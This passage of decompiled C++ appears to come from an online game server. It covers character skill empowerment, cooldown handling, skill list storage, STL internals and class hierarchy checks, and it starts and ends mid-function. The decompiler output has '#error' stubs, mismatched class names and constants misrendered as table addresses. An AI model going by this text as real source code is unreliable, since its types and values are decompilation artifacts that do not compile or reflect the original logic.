funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_EmpowerAlloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = empalloc; v5 = empalloc->skill; v37 = 0; v6 = CharaterSkillList::csl_MaximumSkill(v3, v5); CharaterSkillList::csl_EmpowerStruct(v3, v6, (SKILL_EMPOWER *)&empalloc); v7 = (unsigned __int8)empalloc & 0xF; if ( (v4->plus._bf0 & 0xF) + v7 > 5 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerAlloc : Too many point1", (v4->plus._bf0 & 0xF) + v7); --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerAlloc"); return 0; } v9 = (unsigned __int8)empalloc >> 4; v10 = (unsigned __int8)(LOBYTE(v4->plus._bf0) >> 4) + v9; if ( v10 > 5 ) { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_EmpowerAlloc : Too many point2", v10); --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerAlloc"); return 0; } v11 = ((unsigned int)(unsigned __int16)empalloc >> 8) & 0xF; if ( (signed int)(v11 + (HIBYTE(v4->plus._bf0) & 0xF)) > 5 ) { v33 = v11 + (HIBYTE(v4->plus._bf0) & 0xF); v32 = "CharaterSkillList::csl_EmpowerAlloc : Too many point3"; LABEL_7: AssertClass::ac_AssertFail(&shineassert, v32, v33); --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerAlloc"); return 0; } v12 = (unsigned int)(unsigned __int16)empalloc >> 12; v13 = (unsigned int)v4->plus._bf0 >> 12; v35 = v12; v14 = v13 + v12; if ( v14 > 5 ) { v33 = v14; v32 = "CharaterSkillList::csl_EmpowerAlloc : Too many point4"; goto LABEL_7; } v15 = (signed __int16)empalloc; v16 = v7 - (v4->minus._bf0 & 0xF); v17 = (unsigned __int8)((unsigned __int8)empalloc & 0xF) < (unsigned __int8)(v4->minus._bf0 & 0xF); empalloc = (PROTO_NC_SKILL_EMPOWALLOC_REQ *)((unsigned __int8)((unsigned __int8)empalloc & 0xF) >= (unsigned __int8)(v4->minus._bf0 & 0xF)); if ( v17 ) { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_EmpowerAlloc : Too many point5", v16); LABEL_13: v37 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v18 = v4->minus._bf0; if ( AssertClass::operator__( &shineassert, (v15 & 0xF0u) >= (v18 & 0xF0u), "CharaterSkillList::csl_EmpowerAlloc : Too many point6", v9 - ((unsigned __int8)v4->minus._bf0 >> 4)) || AssertClass::operator__( &shineassert, (v15 & 0xF00u) >= (v4->minus._bf0 & 0xF00u), "CharaterSkillList::csl_EmpowerAlloc : Too many point7", v11 - (((unsigned int)v4->minus._bf0 >> 8) & 0xF)) || AssertClass::operator__( &shineassert, (v15 & 0xF000u) >= (v4->minus._bf0 & 0xF000u), "CharaterSkillList::csl_EmpowerAlloc : Too many point8", v35 - ((unsigned int)v4->minus._bf0 >> 12)) || (v19 = CharaterSkillList::csl_GetSkillStruct(thisa, v4->skill), AssertClass::operator__(&shineassert, v19 != 0, "CharaterSkillList::csl_EmpowerAlloc : Not learn", 0)) ) goto LABEL_13; v20 = v19->cs_Empower._bf0; v21 = v20 ^ (v20 + LOBYTE(v4->plus._bf0)); v37 = -1; v22 = v20 ^ v21 & 0xF; v19->cs_Empower._bf0 = v22; v23 = v22 ^ (unsigned __int8)((v22 ^ (LOBYTE(v4->plus._bf0) + (v22 & 0xF0))) & 0xF0); v19->cs_Empower._bf0 = v23; LOWORD(v24) = v23 ^ (v23 ^ (v23 + (v4->plus._bf0 & 0xFF00))) & 0xF00; v19->cs_Empower._bf0 = v24; v25 = v24 ^ v4->plus._bf0; v24 &= 0xF000u; LOWORD(v24) = v4->plus._bf0 + v24; v26 = v24 ^ v25 & 0xFFF; v19->cs_Empower._bf0 = v26; v27 = v26 ^ ((unsigned __int8)v26 ^ (unsigned __int8)(v26 - LOBYTE(v4->minus._bf0))) & 0xF; v19->cs_Empower._bf0 = v27; v28 = v27 ^ (unsigned __int8)((v27 ^ ((_BYTE)v27 - 16 * ((LOBYTE(v4->minus._bf0) >> 4) & 0xF))) & 0xF0); v19->cs_Empower._bf0 = v28; v29 = v28 ^ ((unsigned __int16)v28 ^ (unsigned __int16)((_WORD)v28 - ((HIBYTE(v4->minus._bf0) & 0xF) << 8))) & 0xF00; HIWORD(v28) = 0; v19->cs_Empower._bf0 = v29; LOWORD(v28) = (unsigned __int16)v4->minus._bf0 >> 12; v30 = v29 - (v28 << 12); v31 = empowresult; v19->cs_Empower._bf0 = v30; v31->_bf0 = v30; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (00430AE0) -------------------------------------------------------- #error "430AE0: undefined or illegal type '#440' (funcsize=75)" //----- (00430C10) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_UpdateCoolTime(CharaterSkillList *this, unsigned __int16 skill, unsigned int eoct) { CharaterSkillList *v3; // esi@1 CharaterSkillList::CharSkill *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_UpdateCoolTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_UpdateCoolTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = CharaterSkillList::csl_GetSkillStruct(v3, skill); if ( !v4 ) { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_UpdateCoolTime : Not learn", skill); LABEL_3: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_UpdateCoolTime"); return 0; } if ( v4->cs_EndOfCooltime <= eoct ) goto LABEL_3; v4->cs_EndOfCooltime = eoct; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_UpdateCoolTime"); return 1; } //----- (00430D10) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_SetCoolTime(CharaterSkillList *this, unsigned __int16 skill, unsigned int cooltime_milli, int delaygroupnum, unsigned int delaygroupcooltime_milli, int empowdiscount) { CharaterSkillList *v6; // edi@1 unsigned int v7; // esi@1 CharaterSkillList::CharSkill *v8; // ecx@1 int v9; // ebx@3 int i; // ebp@3 int v11; // eax@4 CharaterSkillList::CharSkill *v12; // ecx@5 unsigned int v13; // eax@6 char *v14; // [sp-4h] [bp-24h]@2 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_SetCoolTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_SetCoolTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; v8 = CharaterSkillList::csl_GetSkillStruct(v6, skill); if ( v8 != 0 ) { v9 = empowdiscount; v8->cs_EndOfCooltime = ((unsigned int)(10 * (cooltime_milli - empowdiscount) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6) + clockwatch.cw_CurrTick - 3; for ( i = 0; i < v6->csl_SkillNumber; ++v7 ) { v11 = CharaterSkillList::csl_GetDelayGroup(v6, v6->csl_Skill._Myfirst[v7].cs_SkillId, (int *)&cooltime_milli); if ( v11 == delaygroupnum ) { v12 = v6->csl_Skill._Myfirst; if ( v12[v7].cs_SkillId != skill ) { v13 = ((unsigned int)(10 * (delaygroupcooltime_milli - v9) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6) + clockwatch.cw_CurrTick - 3; if ( v12[v7].cs_EndOfCooltime < v13 ) v12[v7].cs_EndOfCooltime = v13; } } ++i; } v14 = "CharaterSkillList::csl_SetCoolTime"; } else { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_SetCoolTime : Not learn", skill); v14 = "CharaterSkillList::csl_SetCoolTime"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } //----- (00430E60) -------------------------------------------------------- void __cdecl std::sort_heap>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v3; // eax@1 int v4; // esi@2 _BYTE v5[20]; // ST0C_20@3 v3 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; if ( v3 > 1 ) { v4 = *(_DWORD *)&_Last - 20; if ( v3 <= 1 ) goto LABEL_4; do { *(_DWORD *)v5 = *(_DWORD *)v4; *(_QWORD *)&v5[4] = *(_QWORD *)(v4 + 4); *(_QWORD *)&v5[12] = *(_QWORD *)(v4 + 12); std::_Pop_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, (std::vector >::iterator)v4, (std::vector >::iterator)v4, *(CharaterSkillList::CharSkill *)v5, _Pred, 0); LABEL_4: v4 -= 20; } while ( (20 - *(_DWORD *)&_First + v4) / 20 > 1 ); } } //----- (00430EF0) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_PreSkillCheck(CharaterSkillList *this, #440 *a2, const char *preskill) { CharaterSkillList *v3; // esi@1 char result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_PreSkillCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_PreSkillCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *preskill == 45 || (*(_DWORD *)&skillbtreeunion = BTree::operator__(&skillnametree, preskill), CharaterSkillList::csl_IsLearn(v3, skillbtreeunion)) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_PreSkillCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_PreSkillCheck"); result = 0; } return result; } //----- (00430FD0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00431040) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, CharaterSkillList::CharSkill *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // edx@1 CharaterSkillList::CharSkill *v6; // ebx@1 int v7; // ecx@1 unsigned int v8; // edx@1 int v9; // eax@1 unsigned int v10; // ecx@2 signed int v11; // edx@3 unsigned int v12; // edi@4 int v13; // eax@6 int v14; // eax@11 int v15; // ecx@15 int v16; // eax@18 int v17; // ebx@22 CharaterSkillList::CharSkill *v18; // ST18_4@22 int v19; // eax@22 int v20; // edi@24 CharaterSkillList::CharSkill *v21; // ecx@27 std::vector >::iterator v22; // ebx@27 CharaterSkillList::CharSkill *v23; // ecx@28 CharaterSkillList::CharSkill *v24; // ST24_4@28 unsigned int v25; // edi@28 int v26; // [sp+0h] [bp-30h]@1 int _Tmp; // [sp+Ch] [bp-24h]@1 unsigned int v28; // [sp+10h] [bp-20h]@1 int v29; // [sp+14h] [bp-1Ch]@1 unsigned int v30; // [sp+18h] [bp-18h]@1 int v31; // [sp+1Ch] [bp-14h]@1 int *v32; // [sp+20h] [bp-10h]@1 int v33; // [sp+2Ch] [bp-4h]@22 CharaterSkillList::CharSkill *_Wherea; // [sp+38h] [bp+8h]@29 CharaterSkillList::CharSkill *_Counta; // [sp+3Ch] [bp+Ch]@22 void *_Newvec; // [sp+40h] [bp+10h]@22 CharaterSkillList::CharSkill *_Newveca; // [sp+40h] [bp+10h]@27 v4 = this; v5 = _Val->cs_EndOfCooltime; v6 = this->_Myfirst; _Tmp = *(_DWORD *)&_Val->cs_SkillId; v7 = *(_DWORD *)&_Val->cs_Empower._bf0; v28 = v5; v8 = _Val->cs_Mastery; v9 = _Val->cs_bSave; v32 = &v26; v29 = v7; v30 = v8; v31 = v9; if ( v6 ) { v11 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v10 = v11 + ((unsigned int)v11 >> 31); } else { v10 = 0; } v12 = _Count; if ( _Count ) { if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( (unsigned int)((char *)&pathfindtable.pft_table[13][2358].pfc_distance - v13) < _Count ) std::vector>::_Xlen(v4); if ( v6 ) v14 = v4->_Mylast - v6; else v14 = 0; if ( v10 >= _Count + v14 ) { v21 = v4->_Mylast; v22 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v21[-_Count]; v4->_Mylast = std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>( &v21[-_Count], v21, v21, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v21 - 20 * _Count)); std::_Copy_backward_opt( *(CharaterSkillList::CharSkill **)&v22, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(CharaterSkillList::CharSkill **)&v22, (CharaterSkillList::CharSkill *)(*(_DWORD *)&v22 + 20 * _Count), (CharaterSkillList::CharSkill *)&_Tmp); } else { std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>( *(CharaterSkillList::CharSkill **)&_Where, v21, (CharaterSkillList::CharSkill *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(20 * _Count)); v23 = v4->_Mylast; v24 = v4->_Mylast; v33 = 2; std::vector>::_Ufill( v4, v24, _Count - (signed int)((char *)v23 - *(_DWORD *)&_Where) / 20, (CharaterSkillList::CharSkill *)&_Tmp); v25 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (CharaterSkillList::CharSkill *)v25; std::fill( *(CharaterSkillList::CharSkill **)&_Where, (CharaterSkillList::CharSkill *)(v25 - 20 * _Count), (CharaterSkillList::CharSkill *)&_Tmp); } } else { if ( (unsigned int)((char *)&pathfindtable.pft_table[13][2358].pfc_distance - (v10 >> 1)) >= v10 ) v15 = (v10 >> 1) + v10; else v15 = 0; if ( v6 ) v16 = v4->_Mylast - v6; else v16 = 0; if ( v15 < _Count + v16 ) v15 = _Count + std::vector>::size((std::vector > *)v4); v17 = 20 * v15; _Newvec = operator new(20 * v15); v18 = v4->_Myfirst; v33 = 0; _Counta = std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>( v18, *(CharaterSkillList::CharSkill **)&_Where, (CharaterSkillList::CharSkill *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v12, (CharaterSkillList::CharSkill *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>( *(CharaterSkillList::CharSkill **)&_Where, v4->_Mylast, &_Counta[v12], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v19 = (int)v4->_Myfirst; if ( v19 ) v19 = (signed int)((char *)v4->_Mylast - v19) / 20; v20 = v19 + v12; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (CharaterSkillList::CharSkill *)((char *)_Newvec + v17); v4->_Mylast = (CharaterSkillList::CharSkill *)((char *)_Newvec + 20 * v20); v4->_Myfirst = (CharaterSkillList::CharSkill *)_Newvec; } } } //----- (00431310) -------------------------------------------------------- void __cdecl std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, int _Ideal, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { std::vector >::iterator v4; // ebx@1 std::vector >::iterator v5; // edi@1 int v6; // eax@1 signed int v7; // esi@2 std::vector >::iterator v8; // ebp@4 signed int v9; // edx@12 std::vector >::iterator _Mid; // [sp+10h] [bp-8h]@4 std::vector >::iterator v11; // [sp+14h] [bp-4h]@4 v4 = _First; v5 = _Last; v6 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; if ( v6 <= 32 ) goto LABEL_8; v7 = _Ideal; while ( v7 > 0 ) { std::_Unguarded_partition>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::pair >::iterator,std::vector >::iterator> *)&_Mid, v4, v5, _Pred); v8 = v11; v7 = v7 / 2 / 2 + v7 / 2; if ( (*(_DWORD *)&_Mid - *(_DWORD *)&v4) / 20 >= (*(_DWORD *)&v5 - *(_DWORD *)&v11) / 20 ) { std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v11, v5, v7, _Pred); v5 = _Mid; } else { std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v4, _Mid, v7, _Pred); v4 = v8; } v6 = (*(_DWORD *)&v5 - *(_DWORD *)&v4) / 20; if ( v6 <= 32 ) goto LABEL_8; } if ( v6 <= 32 ) { LABEL_8: if ( v6 > 1 ) std::_Insertion_sort>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v4, v5, _Pred); } else { v9 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&v5 - *(_DWORD *)&v4)) >> 32) >> 3; if ( (signed int)(v9 + ((unsigned int)v9 >> 31)) > 1 ) std::_Make_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v4, v5, _Pred, 0, 0); std::sort_heap>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v4, v5, _Pred); } } //----- (00431460) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 CharaterSkillList::CharSkill *v3; // eax@3 unsigned int v4; // ebx@6 CharaterSkillList::CharSkill *v5; // ST04_4@6 CharaterSkillList::CharSkill *v6; // ST00_4@6 CharaterSkillList::CharSkill *v7; // ecx@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp+0h] [bp-1Ch]@1 int *v11; // [sp+Ch] [bp-10h]@1 int v12; // [sp+18h] [bp-4h]@6 void *_Ptr; // [sp+24h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > (unsigned int)&pathfindtable.pft_table[13][2358].pfc_distance ) std::vector>::_Xlen(this); v3 = this->_Myfirst; if ( v3 ) v3 = (CharaterSkillList::CharSkill *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 20 * _Count; _Ptr = operator new(20 * _Count); v5 = v2->_Mylast; v6 = v2->_Myfirst; v12 = 0; std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>( v6, v5, (CharaterSkillList::CharSkill *)_Ptr, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) operator delete(v2->_Myfirst); v2->_Myend = (CharaterSkillList::CharSkill *)((char *)_Ptr + v4); v2->_Mylast = (CharaterSkillList::CharSkill *)((char *)_Ptr + 20 * v8); v2->_Myfirst = (CharaterSkillList::CharSkill *)_Ptr; } } //----- (00431533) -------------------------------------------------------- void __usercall _L153184(int a1) { operator delete(*(void **)(a1 + 8)); _CxxThrowException(0, 0); } //----- (00431550) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, CharaterSkillList::CharSkill _Val) { std::vector > *v3; // esi@1 CharaterSkillList::CharSkill *v4; // ecx@1 int v5; // eax@2 int v6; // eax@6 CharaterSkillList::CharSkill *v7; // edi@10 CharaterSkillList::CharSkill *v8; // eax@11 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = v3->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = v3->_Mylast; if ( _Newsize < v3->_Mylast - v4 ) { v8 = &v4[_Newsize]; if ( v8 != v7 ) v3->_Mylast = std::_Copy_opt( v7, v7, v8, (std::_Nonscalar_ptr_iterator_tag)_Newsize); } } } else { if ( v4 ) v6 = v3->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( v3, (std::vector >::iterator)v3->_Mylast, _Newsize - v6, &_Val); } } //----- (00431600) -------------------------------------------------------- void __thiscall CharaterSkillList::CharaterSkillList(CharaterSkillList *this) { this->csl_Skill._Myfirst = 0; this->csl_Skill._Mylast = 0; this->csl_Skill._Myend = 0; std::vector>::reserve( &this->csl_Skill, 0xBB8u); } //----- (00431650) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_Store(CharaterSkillList *this, PROTO_NC_CHAR_SKILL_CMD *charskill) { CharaterSkillList *v2; // esi@1 unsigned __int16 v3; // ax@1 _BYTE v4[20]; // ST04_20@3 int v5; // eax@4 CharaterSkillList::CharSkill *v6; // ecx@4 int v7; // ecx@7 int v8; // ecx@9 char *v9; // [sp-4h] [bp-28h]@2 time_t cur; // [sp+10h] [bp-14h]@3 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "CharaterSkillList::csl_Store"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = charskill->number; v12 = 0; if ( v3 < 0xBB8u ) { mysecond(&cur); *(_DWORD *)v4 = 0; *(_QWORD *)&v4[4] = 0i64; *(_QWORD *)&v4[12] = 0i64; std::vector>::resize( &v2->csl_Skill, charskill->number, *(CharaterSkillList::CharSkill *)v4); v2->csl_SkillNumber = 0; if ( charskill->number ) { do { v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_SkillId = *(&charskill[1].number + 8 * v2->csl_SkillNumber); v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 = v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 & 0xFFF0 | *((_BYTE *)&charskill->chrregnum + 16 * (v2->csl_SkillNumber + 1)) & 0xF; v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 = v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 & 0xFF0F | 16 * (unsigned __int8)(*((_BYTE *)&charskill->chrregnum + 16 * (v2->csl_SkillNumber + 1)) >> 4); v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 = v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 & 0xF0FF | *(&charskill[2].number + 8 * v2->csl_SkillNumber) & 0xF00; v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 = v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Empower._bf0 & 0xFFF | ((unsigned __int8)(*((_BYTE *)&charskill[2].number + 16 * v2->csl_SkillNumber + 1) >> 4) << 12); v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Mastery = *(&charskill[3].chrregnum + 4 * v2->csl_SkillNumber); v5 = v2->csl_SkillNumber; v6 = v2->csl_Skill._Myfirst; if ( *(&charskill[2].chrregnum + 4 * v2->csl_SkillNumber) ) v6[v5].cs_bSave = 1; else v6[v5].cs_bSave = 0; v7 = *(&charskill[2].chrregnum + 4 * v2->csl_SkillNumber) - (unsigned __int64)difftime(cur, *(&charskill[1].chrregnum + 4 * v2->csl_SkillNumber)); if ( v7 < 0 ) v7 = 0; v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_EndOfCooltime = clockwatch.cw_CurrTick + 10 * v7; v8 = v2->csl_SkillNumber + 1; v2->csl_SkillNumber = v8; } while ( v8 < charskill->number ); } std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)v2->csl_Skill._Myfirst, (std::vector >::iterator)v2->csl_Skill._Mylast, v2->csl_Skill._Mylast - v2->csl_Skill._Myfirst, CharaterSkillList::CharSkill::cs_Compare_STLVer); v12 = -1; v9 = "CharaterSkillList::csl_Store"; } else { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_Store : Too many skills", v3); v12 = -1; v9 = "CharaterSkillList::csl_Store"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (004318E0) -------------------------------------------------------- #error "4318E0: undefined or illegal type '#331' (funcsize=27)" //----- (00431930) -------------------------------------------------------- #error "431930: undefined or illegal type '#331' (funcsize=27)" //----- (00431980) -------------------------------------------------------- AttackRhythm::AttackRhythmBase *__thiscall CharClass::cc_AttackRhythm(CharClass *this) { return (AttackRhythm::AttackRhythmBase *)&attrhythm_melee; } //----- (00431990) -------------------------------------------------------- #error "431990: undefined or illegal type '#331' (funcsize=7)" //----- (004319B0) -------------------------------------------------------- int __thiscall CharClassMob::cc_ClassType(ItemEquipment *this) { return 29; } //----- (004319C0) -------------------------------------------------------- AttackRhythm::AttackRhythmBase *__thiscall CharClassMob::cc_AttackRhythm(CharClassMob *this) { return (AttackRhythm::AttackRhythmBase *)&attrhythm_mob; } //----- (004319D0) -------------------------------------------------------- #error "4319D0: undefined or illegal type '#331' (funcsize=6)" //----- (004319F0) -------------------------------------------------------- bool __thiscall CharClassCleverFighter::cc_IsDescendantsOf(CharClassCleverFighter *this, int classType) { return classType == 1; } //----- (00431A00) -------------------------------------------------------- bool __thiscall CharClassWarrior::cc_IsDescendantsOf(CharClassWarrior *this, int classType) { return classType == 1 || classType == 2; } //----- (00431A40) -------------------------------------------------------- bool __thiscall CharClassGladiator::cc_IsDescendantsOf(CharClassKnight *this, int classType) { return classType == 1 || classType == 2 || classType == 3; } //----- (00431A60) -------------------------------------------------------- int __thiscall CharClassCleric::cc_ClassType(ItemAttrCls_Boot *this) { return 8; } //----- (00431A70) -------------------------------------------------------- int __thiscall ItemAttrCls_Furniture::iac_ItemClass(ItemAttrCls_Furniture *this) { return 9; } //----- (00431A80) -------------------------------------------------------- bool __thiscall CharClassHighCleric::cc_IsDescendantsOf(CharClassHighCleric *this, int classType) { return classType == 8; } //----- (00431A90) -------------------------------------------------------- int __thiscall CharClassPaladin::cc_ClassType(ItemAttrCls_Decoration *this) { return 10; } //----- (00431AA0) -------------------------------------------------------- bool __thiscall CharClassPaladin::cc_IsDescendantsOf(CharClassPaladin *this, int classType) { return classType == 8 || classType == 9; } //----- (00431AC0) -------------------------------------------------------- int __thiscall ItemAttrCls_SkillScroll::iac_ItemClass(ItemAttrCls_SkillScroll *this) { return 11; } //----- (00431AD0) -------------------------------------------------------- int __thiscall ItemAttrCls_RecallScroll::iac_ItemClass(ItemAttrCls_RecallScroll *this) { return 12; } //----- (00431AE0) -------------------------------------------------------- bool __thiscall CharClassHolyKnight::cc_IsDescendantsOf(CharClassGuardian *this, int classType) { return classType == 8 || classType == 9 || classType == 10; } //----- (00431B00) -------------------------------------------------------- int __thiscall ItemAttrCls_ItemChest::iac_ItemClass(ItemAttrCls_ItemChest *this) { return 15; } //----- (00431B10) -------------------------------------------------------- AttackRhythm::AttackRhythmBase *__thiscall CharClassArchar::cc_AttackRhythm(CharClassArchar *this) { return (AttackRhythm::AttackRhythmBase *)&attrhythm_range; } //----- (00431B20) -------------------------------------------------------- int __thiscall ItemAttrCls_WeaponTitlaLicence::iac_ItemClass(ItemAttrCls_WeaponTitlaLicence *this) { return 16; } //----- (00431B30) -------------------------------------------------------- bool __thiscall CharClassHawkArcher::cc_IsDescendantsOf(CharClassHawkArcher *this, int classType) { return classType == 15; } //----- (00431B40) -------------------------------------------------------- void __thiscall 